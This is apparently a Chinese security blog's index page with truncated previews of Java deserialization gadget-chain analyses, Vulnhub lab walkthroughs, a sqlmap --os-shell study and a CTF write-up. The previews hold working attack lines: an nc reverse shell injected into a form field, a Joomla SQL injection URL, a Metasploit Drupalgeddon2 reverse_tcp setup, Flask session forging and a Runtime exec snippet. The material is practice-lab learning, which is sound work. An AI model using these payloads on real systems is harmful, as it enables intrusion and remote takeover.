Java学习之CC链4
环境其它的和前面一样,只不过Commons-Collections 依赖变为了4.0
1234567<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies>
链子分析在CC4上尾部的命令执行没有什么变化反射或者动态加载字节码,改变的是CC4去掉了 InvokerTransformer 的 Serializable 继承,那么InvokerTransformer用不了了就要找谁调用了transform()随便用个类然后find usages transform()这里最终找的是TransformingComparator 类中的compare方法调用了 ...
Vulnhub-DC-4
环境准备下载地址:https://www.vulnhub.com/entry/dc-4,313/
开始打靶扫描存活IParp-scan -l访问出现一个登录界面,我的7万数据大字典都没爆出来。。。难道不是弱口令??靠admin/admin进去了,我的大字典没有??仔细查看发现根本没做密码验证。。。进入可以执行三个Linux命令抓个包发现是任意代码执行,直接写入webshell发现存在过滤base64之后显示写入成功,但是查看又没有文件就很奇怪,看了wp发现直接弹shell,也对啊,都能命令执行了为啥不试试弹个shell呢。。
1radio=nc+192.168.75.128+6666+-e+/bin/bash&submit=Run
然后用python获取个交互式shell,查看root没有权限
1python -c 'import pty; pty.spawn("/bin/bash")'
exim提权然后就是提权了,查看具有suid权限的命令
1find / -perm -u=s -type f 2>/dev/null
...
Vulnhub--DC-3
环境准备下载地址:http://www.five86.com/downloads/DC-3-2.zip镜像地址:https://download.vulnhub.com/dc/DC-3-2.zip在打开的时候出了一个问题,如下解决方法:在CD/DVD高级设置里面改为如下即可
开始打靶从DC-3开始只有一个flag,得提权到root才能拿到扫描存活IP,记得改为NAT连接arp-scan -lIP为192.168.75.136探测一下存活端口nmap -A 192.168.75.136 扫一下目录看看有个后台,先放着,访问一下IP利用插件发现CMS为Joomla
sql注入看下有没有历史漏洞,发现存在sql注入
1http://192.168.75.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)
然后用sqlmap一把梭看看有什么东西吧,将数据包保存在注入的参数加个*
1sq ...
Sqlmap --os-shell原理分析
测试环境这里使用的是本地搭建的sqllab靶场,搭建这个靶场如果遇到数据库加载不成功大概率原因为php版本问题,php版本必须为5.x因为7以上不支持mysql_connect函数用的是mysqli_connect
开始注入这里我一开始--os-shell一直写不进去马,还以为是我路径的问题,后面发现是secure_file_priv=必须为空这个条件不满足,phpstudy数据库里面没有这个参数,所以加上就行开始sql注入,先抓取一个数据包,然后关闭拦截,执行下面命令,这样可以在burp上抓取到所有的数据包
1sqlmap -u "http://192.168.1.102/sqli-labs-master/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080
具体参数选择如下拿到shell
开始分析我们从下面数据包开始分析,前面的都是正常注入的过程这里get方式传入了一大堆url编码的数据
1-8041%27%20OR%209362%3D9362%20LIMIT%200%2C1%20INTO%20OUTFIL ...
NSSCTFRound#13 Web
一点感叹最近很烦,比赛很简单的题也做不出来天天爆0,估计是基础没打牢吧,重新回去刷基础题
flask?jwt?注册账号发现admin已经存在,然后随便注册一个账号发现admin才能getFlag,就是伪造session了在忘记密码发送邮件那里抓包找到key然后就是伪造session了
123python flask_session_cookie_manager3.py decode -s th3f1askisfunny -c "session"python flask_session_cookie_manager3.py encode -s th3f1askisfunny -t "{'_fresh': True, '_id': '0e382100446e160095f79a16dd0bceddee884c4d84dcc9e53bfb47d206175ad1c5005f21630c2892c78a7e4985b69503704833e18205e6eacc9dbb58aa7b3e85', ...
Java学习之CC链3
环境准备
jdk8u65
Commons-Collections 3.2.1
分析最近几周没碰Java感觉又有点生疏了,在CC3中命令执行的方法和1,6不一样,这里用的是动态类加载,使用defineClass->newInstance 来命令执行即在字节里面加载一个类然后实例化执行代码,所以直接从这里入手逆推,还是find usages寻找哪里调用了defineClass,因为它是一个protected所以我们需要一个调用它public方法,最终在TemplatesImpl类的static final class TransletClassLoader下找到defineClass这里没有标注作用域即默认为defalut,也就是自己的类里面可以调用继续find usages发现defineTransletClasses私有方法里面调用了这里_bytecodes不能为空不然就不能执行到defineClass方法了,然后继续find usages最终找到了getTransletInstance方法并且这里有个newInstance()实例化的过程,动态执行代码正好需要实例化,所以如果 ...
VulnHub-Raven-2
靶机地址https://www.vulnhub.com/entry/raven-2,269/
flag—1扫描存活主机arp-scan -l通过靶机mac地址判断IP为192.168.75.135然后nmap扫一下,看看开放端口nmap -A -p- -v 192.168.75.135三个开放端口,然后dirsearch扫一下目录访问/vendor存在一个目录遍历漏洞,在PATH下找到flag1
flag—2,3访问README.md发现存在一个phpmailer服务,并且在VERSION下看的版本为5.2.16搜了一下18以下存在PHPMailer远程命令执行漏洞本来想手工利用,但是失败了,直接利用searchsploit搜索可以利用的漏洞searchsploit PHPMailer将python那条exp拷贝出来,然后修改目标地址和反弹shell的地址以及上传的路径
1cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/joker27/桌面
然后执行exp生成后门文件python 40974.py监听端 ...
Vulnhub-DC-2
环境搭建下载地址:https://www.vulnhub.com/entry/dc-2,311/下载完后就一个ova文件,Vmware打开就行
flag–1老步骤,扫描存活IParp-scan -l通过mac地址判断IP为192.168.75.134nmap查看全部端口,-v为查看版本号nmap -A -p- -v 192.168.75.134有一个80端口,还有一个7744放了ssh访问IP的时候发现访问失败,并且重定向到域名dc-2原因为本地无法解析域名,所以需要编辑/etc/hosts文件,添加靶机IP地址及对应域名
12vim /etc/hosts192.168.75.134 dc-2
由于是在kali下写入所以只能在kali下访问,然后在页面找到flag1然后根据提示下一个flag要使用kali下的cewl,并且需要登录,所以待会儿要扫一下目录
flag–2先使用cewl生成一下密码字典cewl dc-2 -w dict.txt然后使用WPscan枚举一下用户wpscan --url dc-2 --enumerate u得到三个用户,然后使用一开始生成的 ...
Java学习之CC链6
环境准备基本上和CC1差不多
jdk8u71Comoons-Collections 3.2.1
开始分析前半段链子,LazyMap 类到 InvokerTransformer 类是一样的,所以直接到 LazyMap 下,这里先重新一边LazyMap 类调用计算器的 EXP,看参考博客说多写有利于比那些EXP确实是这样,能加深理解,反正没坏处,并且我发现自己又有点忘记了。。。
123456789101112public class Dome { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc" ...
Vulnhub--DC-1
环境准备官网直接下载zip
信息搜集首先扫描一下主机存活看一下靶机IP,可以使用如下命令arp-scan -l最后确定靶机IP为192.168.75.133可以一个个访问确定,也可以看一下靶机的mac地址确定访问得到如下页面这个Drupal有个远程代码执行的cve为CVE-2018-7600,当然还不知道版本对不对,不过先不急着看这个CVE,用nmap扫描一下开放的端口nmap -A 192.168.75.133利用插件看一下指纹信息,可以看到Drupal版本为7是存在这个CVE漏洞的
flag1直接利用msfconsole来看一下,这里手动弄的话很麻烦,进入msf搜一下这个模块search Drupal直接使用18年的那个CVEuse exploit/unix/webapp/drupal_drupalgeddon2然后查看一下payload执行show payloads可以看到所有payload列出,使用如下payload,这里也可以不设置,我是为了练习一下工具使用set payload php/meterpreter/reverse_tcp然后查看需要配置的参数show optio ...
Vulnhub--Ai-Web1
环境准备直接下载靶机然后解压,VMware上运行vmx文件就行,靶机链接运行靶机会有要密码登录,别管就行,因为渗透已经开始了!!
开始打靶使用netdiscover扫描ip挨个访问,最终发现192.168.75.132这个IP可疑nmap扫描一下这个IP 查看开放端口
123nmap -T4 -sV -O -A -P 192.168.75.132-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口这里其实用-A就可以,主要时熟悉一下参数
可以看到80端口开放也就是我们一开始访问的那个页面,直接扫一下目录存在一个robots.txtemmmm,两个都是403,然后对着这个两个路径扫一下,扫到一个http://192.168.75.132/m3diNf0/info.php网站的绝对路径,然后扫另一个http://192.168.75.132/se3reTdir777这里一开始扫的uploads但是没有东西然后就扫了这个,看wp有的是用的kali下的dirb,涨姿势了以前都不知道这个工具访问index.php,中途断开连接了还以为是题目的设定。。。访问得到下面的 ...
CC链1--LazyMap链
开始分析这里我直接拿cc1的demo改了,首先进入InvokerTransformer下的transform方法然后find usages可以看到LazyMap下也调用了transform方法,直接进去看代码
1234567public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; }
public型get方法调用了transform方法,然后去看factory然后这里同时还有decorate方法和TransformMap 中的 decorate 方法是一样的作用,然后去看这个类的构造函数为protected所以得通过decorate方 ...